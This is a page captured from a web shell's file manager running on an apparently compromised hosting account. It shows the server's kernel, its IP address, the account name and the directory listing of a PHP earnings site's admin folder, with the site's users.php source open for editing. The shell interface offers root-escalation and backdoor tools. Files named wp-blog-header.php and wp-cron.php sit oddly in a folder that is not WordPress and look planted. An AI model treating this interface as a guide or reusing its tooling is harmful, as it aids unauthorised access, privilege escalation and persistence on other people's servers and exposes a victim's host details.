Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
assignment.work.zone /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
includes
[ DIR ]
drwxr-xr-x
2026-03-11 22:58
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
404.php
5.09
KB
-rw-r--r--
2026-03-12 12:29
admin-profile.php
4.68
KB
-rw-r--r--
2026-03-13 19:31
assignments.php
20.91
KB
-rw-r--r--
2026-03-30 15:12
deposits.php
8.48
KB
-rw-r--r--
2026-03-12 13:18
error_log
3.7
KB
-rw-r--r--
2026-03-23 09:01
index.php
137
B
-rw-r--r--
2026-03-12 12:26
index_real.php
3.95
KB
-rw-r--r--
2026-03-13 19:31
login.php
2.46
KB
-rw-r--r--
2026-03-13 19:32
logout.php
88
B
-rw-r--r--
2026-03-11 22:57
maintenance.php
3.68
KB
-rw-r--r--
2026-03-12 12:35
payment-methods.php
7.03
KB
-rw-r--r--
2026-03-12 12:35
plans.php
7.85
KB
-rw-r--r--
2026-03-12 12:35
referrals.php
4.91
KB
-rw-r--r--
2026-03-31 10:44
settings.php
17.83
KB
-rw-r--r--
2026-03-31 10:21
tickets.php
9.89
KB
-rw-r--r--
2026-03-12 13:15
users.php
19.8
KB
-rw-r--r--
2026-03-29 05:10
withdraw-methods.php
8.28
KB
-rw-r--r--
2026-03-12 15:17
withdrawals.php
6.26
KB
-rw-r--r--
2026-03-12 15:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../includes/config.php'; $success = isset($_SESSION['success']) ? $_SESSION['success'] : ''; unset($_SESSION['success']); $error = isset($_SESSION['error']) ? $_SESSION['error'] : ''; unset($_SESSION['error']); // Handle Balance Adjustment if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['update_balance'])) { $user_id = (int)$_POST['user_id']; $amount = (float)$_POST['amount']; $type = $_POST['type']; // 'add' or 'subtract' $description = trim($_POST['description']) ?: "Manual adjustment by Admin"; $isAjax = isset($_POST['ajax']); if ($amount > 0) { try { $pdo->beginTransaction(); if ($type == 'add') { $stmt = $pdo->prepare("UPDATE users SET balance = balance + ?, total_earned = total_earned + ? WHERE id = ?"); $stmt->execute([$amount, $amount, $user_id]); $t_type = 'deposit'; $t_desc = "Admin added: " . $description; } else { $stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?"); $stmt->execute([$amount, $user_id]); $t_type = 'withdrawal'; $t_desc = "Admin subtracted: " . $description; } // Record transaction $t_stmt = $pdo->prepare("INSERT INTO transactions (user_id, type, amount, description) VALUES (?, ?, ?, ?)"); $t_stmt->execute([$user_id, $t_type, $amount, $t_desc]); // For AJAX, we need the new balance $new_balance = 0; if ($isAjax) { $fetch_stmt = $pdo->prepare("SELECT balance FROM users WHERE id = ?"); $fetch_stmt->execute([$user_id]); $new_balance = $fetch_stmt->fetchColumn(); } $pdo->commit(); if ($isAjax) { header('Content-Type: application/json'); echo json_encode([ 'status' => 'success', 'message' => 'Balance updated successfully!', 'new_balance' => number_format($new_balance, 2) ]); exit; } $_SESSION['success'] = "Balance updated successfully!"; header("Location: users.php"); exit; } catch (Exception $e) { $pdo->rollBack(); if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); exit; } $error = "Failed to update balance: " . $e->getMessage(); } } else { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'error', 'message' => 'Amount must be greater than zero.']); exit; } $error = "Amount must be greater than zero."; } } // Handle Cycle Adjustment if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['update_cycle'])) { $user_id = (int)$_POST['user_id']; $days = (int)$_POST['days']; // Days to add if ($days > 0) { // Since logic is dynamic: started_at + global_days = expiry // To "add" days manually, we can just tweak the started_at date backwards or forwards // Actually, easiest is to force the expiry to a specific time by setting started_at relative to current global limit $stmt_s = $pdo->query("SELECT setting_value FROM site_settings WHERE setting_key = 'assignment_days_limit'"); $global_days = (int)($stmt_s->fetchColumn()); // Target expiry = now + $days // started_at = Target expiry - global_days $target_expiry = time() + ($days * 86400); $new_started_at = date('Y-m-d H:i:s', $target_expiry - ($global_days * 86400)); $upd = $pdo->prepare("UPDATE users SET assignment_work_started_at = ? WHERE id = ?"); if ($upd->execute([$new_started_at, $user_id])) { $_SESSION['success'] = "Assignment cycle updated! User now has exactly $days days remaining based on global limit."; } else { $_SESSION['error'] = "Failed to update cycle."; } } else { // Reset cycle $upd = $pdo->prepare("UPDATE users SET assignment_work_started_at = NULL, last_refill_referral_count = 0 WHERE id = ?"); $upd->execute([$user_id]); $_SESSION['success'] = "Cycle reset for user."; } header("Location: users.php"); exit; } if (isset($_GET['toggle_status']) && isset($_GET['id'])) { $id = (int)$_GET['id']; $new_status = $_GET['toggle_status'] == 'active' ? 'active' : 'inactive'; $stmt = $pdo->prepare("UPDATE users SET status = ? WHERE id = ? AND role != 'admin'"); if ($stmt->execute([$new_status, $id])) { $_SESSION['success'] = "User status updated successfully."; } else { $_SESSION['error'] = "Failed to update user status."; } header("Location: users.php"); exit; } // Handle Delete if (isset($_GET['delete']) && isset($_GET['id'])) { $id = (int)$_GET['id']; $stmt = $pdo->prepare("DELETE FROM users WHERE id = ? AND role != 'admin'"); if ($stmt->execute([$id])) { $_SESSION['success'] = "User deleted successfully."; } else { $_SESSION['error'] = "Failed to delete user."; } header("Location: users.php"); exit; } // Now include visuals before output require_once 'includes/header.php'; require_once 'includes/sidebar.php'; // Fetch Settings for global limits $stmt_settings = $pdo->query("SELECT setting_key, setting_value FROM site_settings WHERE setting_key IN ('assignment_days_limit', 'referrals_per_cycle')"); $settings = $stmt_settings->fetchAll(PDO::FETCH_KEY_PAIR); $global_days_limit = (int)($settings['assignment_days_limit']); // Fetch all users (except admin) $stmt = $pdo->query("SELECT * FROM users WHERE role != 'admin' ORDER BY created_at DESC"); $users = $stmt->fetchAll(); ?> <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:30px;"> <h2>User Management</h2> <div style="color:var(--text-muted); font-size:0.9rem;">Total Users: <?php echo count($users); ?></div> </div> <?php if ($success): ?> <div class="badge badge-success" style="display:block; margin-bottom:20px; text-align:center; padding:15px; border-radius:8px;"><?php echo $success; ?></div> <?php endif; ?> <?php if ($error): ?> <div class="badge badge-danger" style="display:block; margin-bottom:20px; text-align:center; padding:15px; border-radius:8px;"><?php echo $error; ?></div> <?php endif; ?> <div class="card" style="padding:0; overflow:hidden;"> <div style="max-height: 500px; overflow-y: auto; overflow-x: auto; padding-right: 5px;" class="custom-scrollbar"> <table class="admin-table"> <thead style="position: sticky; top: 0; z-index: 10; background: var(--card-bg-dark);"> <tr> <th>ID</th> <th>Full Name</th> <th>Email</th> <th>Balance</th> <th>Work Status</th> <th>Status</th> <th>Joined At</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($users as $user): ?> <tr> <td>#<?php echo $user['id']; ?></td> <td style="font-weight:600;"><?php echo htmlspecialchars($user['full_name']); ?></td> <td><?php echo htmlspecialchars($user['email']); ?></td> <td id="user-balance-<?php echo $user['id']; ?>" style="color:var(--primary-color); font-weight:600;">Rs <?php echo number_format($user['balance'], 2); ?></td> <td> <?php $global_days = $global_days_limit; if (is_null($user['assignment_work_started_at'])): ?> <span style="color:var(--text-muted);">Not Started</span> <?php else: $expiry = strtotime($user['assignment_work_started_at']) + ($global_days * 86400); if ($expiry < time()): ?> <span style="color:#e74c3c; font-weight:600;"><i class="fas fa-lock"></i> Blocked</span> <br><small style="font-size:0.7rem;">Expired: <?php echo date('M d', $expiry); ?></small> <?php else: ?> <span style="color:#2ecc71;"><i class="fas fa-check-circle"></i> Running</span> <br><small style="font-size:0.7rem;">Till: <?php echo date('M d', $expiry); ?></small> <?php endif; ?> <?php endif; ?> </td> <td> <?php if ($user['status'] == 'active'): ?> <span class="badge badge-success">Active</span> <?php else: ?> <span class="badge badge-pending">Inactive</span> <?php endif; ?> </td> <td><?php echo date('M d, Y', strtotime($user['created_at'])); ?></td> <td> <div style="display:flex; gap:10px;"> <?php if ($user['status'] == 'active'): ?> <a href="?toggle_status=inactive&id=<?php echo $user['id']; ?>" class="btn-outline" style="padding:5px 10px; font-size:0.8rem; border-color:#e74c3c; color:#e74c3c;">Deactivate</a> <?php else: ?> <a href="?toggle_status=active&id=<?php echo $user['id']; ?>" class="btn-primary" style="padding:5px 10px; font-size:0.8rem; background:#27ae60; border-color:#27ae60; box-shadow:none;">Activate</a> <?php endif; ?> <button onclick="showBalanceModal(<?php echo $user['id']; ?>, '<?php echo htmlspecialchars($user['full_name']); ?>', <?php echo $user['balance']; ?>)" class="btn-outline" style="padding:5px 10px; font-size:0.8rem; border-color:var(--primary-color); color:var(--primary-color);"><i class="fas fa-wallet"></i> Balance</button> <button onclick="showCycleModal(<?php echo $user['id']; ?>, '<?php echo htmlspecialchars($user['full_name']); ?>')" class="btn-outline" style="padding:5px 10px; font-size:0.8rem; border-color:#9b59b6; color:#9b59b6;"><i class="fas fa-history"></i> Cycle</button> <a href="?delete=1&id=<?php echo $user['id']; ?>" onclick="return confirm('Are you sure you want to delete this user?')" class="btn-outline" style="padding:5px 10px; font-size:0.8rem; border-color:#888; color:#888;"><i class="fas fa-trash"></i></a> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($users)): ?> <tr> <td colspan="7" style="text-align:center; padding:40px; color:var(--text-muted);"> <i class="fas fa-users-slash" style="font-size:3rem; display:block; margin-bottom:15px;"></i> No users found in the database. </td> </tr> <?php endif; ?> </tbody> </table> </div> </div> <div id="balanceModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.85); z-index:9999; justify-content:center; align-items:center;"> <div class="custom-admin-modal" style="width:400px; background:#1a1a1a; border-radius:16px; text-align:left; position:relative; padding:30px; border:1px solid rgba(255,255,255,0.1); box-shadow: 0 20px 50px rgba(0,0,0,0.6);"> <button onclick="closeBalanceModal()" style="position:absolute; top:15px; right:15px; background:none; border:none; color:var(--text-muted); cursor:pointer;"><i class="fas fa-times"></i></button> <h3 style="margin-bottom:20px;">Adjust Balance</h3> <p id="modalUserLabel" style="color:var(--text-muted); font-size:0.9rem; margin-bottom:20px;"></p> <form id="balanceForm"> <input type="hidden" name="user_id" id="modalUserId"> <input type="hidden" name="update_balance" value="1"> <input type="hidden" name="ajax" value="1"> <div class="form-group"> <label>Action Type</label> <select name="type" class="form-control" style="background:var(--card-bg-dark); color:inherit; width:100%; padding:10px; margin-bottom:15px; border-radius:8px; border:1px solid rgba(255,255,255,0.1);"> <option value="add">Add Balance (+)</option> <option value="subtract">Subtract Balance (-)</option> </select> </div> <div class="form-group"> <label>Amount (Rs)</label> <input type="number" name="amount" step="0.01" class="form-control" required placeholder="0.00" style="width:100%; padding:10px; margin-bottom:15px; border-radius:8px; border:1px solid rgba(255,255,255,0.1); background:var(--card-bg-dark); color:#fff;"> </div> <div class="form-group"> <label>Reason / Description</label> <input type="text" name="description" class="form-control" placeholder="e.g. Bonus, Correction" style="width:100%; padding:10px; margin-bottom:20px; border-radius:8px; border:1px solid rgba(255,255,255,0.1); background:var(--card-bg-dark); color:#fff;"> </div> <button type="submit" id="balanceSubmitBtn" class="btn-primary" style="width:100%; padding:12px; border-radius:8px; font-weight:700;">Update Balance Now</button> </form> </div> </div> <div id="cycleModal" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:1000; justify-content:center; align-items:center;"> <div class="card" style="width:400px; text-align:left; position:relative; animation: slideUp 0.3s ease; padding:30px;"> <button onclick="closeCycleModal()" style="position:absolute; top:15px; right:15px; background:none; border:none; color:var(--text-muted); cursor:pointer;"><i class="fas fa-times"></i></button> <h3 style="margin-bottom:20px;">Adjust Work Cycle</h3> <p id="cycleUserLabel" style="color:var(--text-muted); font-size:0.9rem; margin-bottom:20px;"></p> <form method="POST"> <input type="hidden" name="user_id" id="cycleUserId"> <div class="form-group"> <label>Add Days to Cycle</label> <input type="number" name="days" class="form-control" required value="<?php echo $global_days_limit; ?>" style="width:100%; padding:10px; margin-bottom:15px; border-radius:8px; border:1px solid rgba(255,255,255,0.1); background:var(--card-bg-dark); color:#fff;"> <small style="display:block; margin-bottom:15px; color:var(--text-muted);">This will add days to current expiration or start from today if expired.</small> </div> <button type="submit" name="update_cycle" class="btn-primary" style="width:100%; padding:12px; border-radius:8px; font-weight:700; background:#9b59b6; border-color:#9b59b6;">Extend Work Now</button> <button type="submit" name="update_cycle" value="1" onclick="document.getElementsByName('days')[0].value=0" class="btn-outline" style="width:100%; margin-top:10px; padding:10px; font-size:0.8rem; border-color:#666;">Reset to Inactive (0 days)</button> </form> </div> </div> <script> function showBalanceModal(id, name, balance) { document.getElementById('modalUserId').value = id; document.getElementById('modalUserLabel').innerText = "Adjusting for: " + name + " (Current: Rs " + balance.toFixed(2) + ")"; document.getElementById('balanceModal').style.display = 'flex'; } function closeBalanceModal() { document.getElementById('balanceModal').style.display = 'none'; } function showCycleModal(id, name) { document.getElementById('cycleUserId').value = id; document.getElementById('cycleUserLabel').innerText = "Adjusting Assignment Cycle for: " + name; document.getElementById('cycleModal').style.display = 'flex'; } function closeCycleModal() { document.getElementById('cycleModal').style.display = 'none'; } document.addEventListener('DOMContentLoaded', function() { const balanceSubmitBtn = document.getElementById('balanceSubmitBtn'); if (balanceSubmitBtn) { balanceSubmitBtn.addEventListener('click', function(e) { e.preventDefault(); const btn = this; const form = document.getElementById('balanceForm'); const oldBtnText = btn.innerText; // Validate amount const amountInput = form.querySelector('input[name="amount"]'); if (parseFloat(amountInput.value) <= 0 || !amountInput.value) { alert("Please enter a valid amount."); return; } btn.innerText = "Processing..."; btn.disabled = true; const formData = new FormData(form); const userId = document.getElementById('modalUserId').value; fetch(window.location.href, { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if(data.status === 'success') { const balanceEl = document.getElementById('user-balance-' + userId); if(balanceEl) { balanceEl.innerText = "Rs " + data.new_balance; balanceEl.style.color = "#fff"; setTimeout(() => { balanceEl.style.color = "var(--primary-color)"; }, 2000); } closeBalanceModal(); if (typeof showToast === 'function') { showToast(data.message, 'check-circle'); } form.reset(); } else { alert(data.message || "An error occurred."); } }) .catch(error => { console.error('Error:', error); alert("Connection error. Try again."); }) .finally(() => { btn.innerText = oldBtnText; btn.disabled = false; }); }); } }); window.onclick = function(event) { let bModal = document.getElementById('balanceModal'); let cModal = document.getElementById('cycleModal'); if (event.target == bModal) closeBalanceModal(); if (event.target == cModal) closeCycleModal(); } </script> <style> @keyframes slideUp { from { transform: translateY(20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .custom-admin-modal { animation: slideUp 0.3s ease; } .form-control:focus { border-color: var(--primary-color) !important; outline: none; } @media (max-width: 768px) { .card[style*="width:400px"] { width: 90% !important; margin: 0 5%; } .admin-table th:nth-child(3), .admin-table td:nth-child(3), .admin-table th:nth-child(7), .admin-table td:nth-child(7) { display: none; } } </style> <?php require_once 'includes/footer.php'; ?>